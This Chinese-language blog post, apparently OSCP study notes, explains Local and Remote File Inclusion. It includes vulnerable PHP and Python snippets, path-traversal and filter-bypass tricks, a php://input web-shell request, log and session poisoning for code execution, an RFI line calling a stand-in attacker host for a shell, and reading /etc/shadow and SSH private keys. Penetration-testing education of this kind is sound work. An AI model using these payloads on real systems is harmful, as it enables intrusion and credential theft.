滲透測試重新打底(3.5)--論Web入侵之File inclusion漏洞


Posted by kahatrix on 2023-09-22

這個章節主要介紹File Inclusion,File Inclusion有兩種,分別為Local File Inclusion跟Remote File Inclusion。基本上兩者的攻擊概念相似,差別只在使用了位在哪裡的檔案。我們首先先介紹最常見的LFI,也就是Local File Inclusion。

Local File Inclusion是攻擊者利用網站上某些會引入Server本地端的文件或檔案,而去訪問敏感或預期外檔案的攻擊手法。常見例子是在網站在下載或瀏覽Log資源時,使用不安全的方式引用本地檔案。例如一個報名的網站,在可以下載報名表的地方可能會出現以下的URL http://a.com/download.php?file=報名表.pdf ,當你瀏覽這個網站時,他可能會直接把報名表放在他的網站上面,或是讓你把這個報名表直接下載下來。這時候如果你把這個報名表.pdf替換成/etc/password或是其他本地(server端)檔案,可能就會有些敏感的資訊。

那我先介紹一個。如果有打過CTF的話,最常見的當然就是PHP出現的LFI。最簡單最基本的就是PHP的include,基本上是長這個樣子:

<php
include($_REQUEST["f"]);
?>

那這個download.php利用PHP中的include,讓使用者提供檔案名稱來下載檔案的功能。若是沒有正確的過濾或是不恰當的使用,就可能引發LFI。那主要是PHP裡面其他類似的可能會引發LFI的函數庫,有其他這5種:

  1. include_once

  2. require

  3. require_once

  4. fopen

  5. file_get_contents

那他們各自有不同的功用,有些會噴錯誤,有些會報錯,有些不會,有些只會引用一次,有些就是會無限的引用。

不只PHP,其他程式語言也有可能引發LFI。例如說python的open的這個function,這是我寫的一個簡單的範例:

import os

def get_file_content(file_path):
    with open(file_path, 'r') as file:
        content = file.read()
    return content

file_path = input("Enter the file path: ")
content = get_file_content(file_path)
print(content)

我們寫import os之後,然後寫了一個get file content的一個function,然後裡面參數帶的是一個file path。這邊是用with open的方式去打開這個file path,在這個file path的地方會從這邊引入參數,然後進行file的讀檔動作,最後return contents。然後我們這邊會問使用者,你想要讀取檔案的位置是在哪裡或是這樣子,然後我們在最後引用了這個function,get file contents,然後file path,然後再把這個content read出來。

所以也就是說,今天我們使用者如果輸入了etc password,或者說../../etc/password,就會去讀取到本地人的etc password,跟上面PHP的範例是一樣的。基本上程式語言都有類似的函式庫,可以去讀取本地的檔案,那都有可能會引起類似的問題,所以它並不是PHP專有的漏洞。

那我們先講一個正常使用的狀況:

http://example.com/download.php?f=register.pdf

f是一個使用者跟web server需要的檔案,這樣的方法大家每天都會遇到,下載PDF、影片、圖片等等的,那位置的使用狀況就跟剛剛講的一樣,我們把f變成etc password,然後include一個不應該被include的檔案,結果就會吐出本地端的etc password等等的。

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
...
...

目標檔案除了etc password,也可以嘗試include一些預設位置的config,或是其他系統的設定檔。

簡單講一下bypass filter。為什麼會特別講bypass filter的部分,是因為每個程式語言或是說每個應用程式它們本身就會有一些filter的功能,所以可能要做一些簡單的繞過。在考oscp的時候,如果你們看到需要更改這個exploit或是payload的內容的時候你們可以看得懂這段的code,所以才特別解釋這一段。

開發時我們當然有可能對LFI做出一些限制或過濾,例如說檢查值是否合理,例如說像是不合理的etc password,或是移除字串像是../像是replace變成沒有。那這時候可以用相對路徑來繞過,例如說,很簡單的....//,那這樣子會造成的結果就是,雖然把這個../replace掉了,但是正是因為把它replace掉的關係,變成一個../

或是透過PHP中的一些偽協議都可以做到繞過,例如說File, HTTP, PHP:

file://
http://
php:// # php://filter , php://input..
zip://
phar://

那PHP裡面這個偽協議還有幾個滿有趣的東西,一個是PHP Filter,還有PHP Input,然後還有一些Zip或是phar等等的。那PHP Input滿特別的,可以讓Server讀取user post request,並當作PHP的code執行。那這邊是一個Server端的範例:

<?php
$raw_post_data = file_get_contents('php://input', 'r');
?>

這可以允許攻擊者來上傳web shell,那像是我們發送request到這個有漏洞的網站:

POST /f=php://input HTTP/1.1
Host: example.com
...
...

<?php echo system($_REQUEST['cmd']); ?>

我們POST f=php://inputs,後面不需要再接東西,直接在最後的postdata寫一個web shell,一個php echo system,然後request cmd這樣子。當我們把web shell上傳上去之後,我們就可以在同一個頁面上或是其他頁面上去&cmd=ls,去做到RCE,也就是commend injection的效果。

再來是LFI to RCE。攻擊者發送一段包含web shell的request,例如在user agent或是其他各式網站出錯的地方,那web server有可能會存在request,有可能會把這個request存在log裡面。這時候通過LFI漏洞讀取這個log,例如這個/var/log/httpd/access_log,就有可能觸發RCE。

並不是每個狀況都需要引發錯誤,這邊只是說,如果引發錯誤的話,有可能會跑進他的error log裡面,那access log可能包含的資訊就不會這麼多。那因為user agent常常是會被log起來的一部分,因為他可能要去做分析資料說,使用什麼樣平台的使用者會來留言他的網站等等的,所以常常會把user agent一起讀進去。所以我們可以在一個request裡面的user agent,去塞一個web shell,讓他存進這個log中;或是我們使用session,這個比較專屬於PHP。我們可以先是透過phpinfo,去尋找這個session儲存的位置,然後設法在session中寫入web shell,那session他通常會是從cookie裡面出來的嘛,那我們如果在header裡面看到一個cookie,它又是一個PHP網站的話,我們就可以在cookie中塞入一個web shell,再透過LFI讀取這個session的檔案以觸發RCE。

那當然PHP有session預設位置,在這個var/lib/php/session當中。

再來是RFI Remote File Inclusion,也就是遠程檔案的包含漏洞。這跟LFI不一樣的是它可以包含遠程,也就是分非本地端的檔案。這個漏洞危險在於攻擊者可以透過python在攻擊端架設一個簡易的web service,例如說python -m http.server 80這樣子的方式,然後在資料夾寫入一個web shell或reverse shell,進而獲得server的initial access。

我們可以把它想成剛剛這邊的狀況,但是他是一個RFI而不是單純的LFI而已:

POST /f=php://input HTTP/1.1
Host: example.com
...
...

<?php echo system($_REQUEST['cmd']); ?>

我們在/f後填寫http://attacker.com/reverse_show.php/ ,或是一個reverse shell:
http://example.com/download?f=http://attacker/shell.php&cmd=\

相對於LFI,RFI範圍更廣,能利用的攻擊檔也更多,限制相對比較少一點。只是說現在RFI漏洞並不常見,這邊的考點主要是在OSCP裡面,他可能常常作為漏洞鏈的一環。OSCP可能不會讓你直接用LFI的方式做RCE,但可以透過leak出一些敏感資訊作為後續利用的依據

例如說我曾經遇到過這個leak,可以leak /etc/shadow,就是他shadow的權限沒有設好,所以你可以直接印出來。或是說我們已知user name,然後加上他有開SSH的port,我們可能可以猜測說他有一個id_rsa的file,或是authentication key,然後我們就可以透過LFI的方式,讀取home/user/id_rsa,把他的SSH的私鑰leak出來,然後做SSH無密碼的登入。

其他像config的資訊等等的,config有些web service或是一些service,他的config檔裡面可能就包含著這個密碼等等的,來做進一步的利用。










Related Posts

React 的 batch update 策略,包含 React 18 和 hooks

React 的 batch update 策略,包含 React 18 和 hooks

AppWorks School Batch #16 Front-End Class 學習筆記&心得(駐點階段四:個人專案~Sprint 4)

AppWorks School Batch #16 Front-End Class 學習筆記&心得(駐點階段四:個人專案~Sprint 4)

docker 是什麼:快速部署應用程式的實用工具

docker 是什麼:快速部署應用程式的實用工具


Comments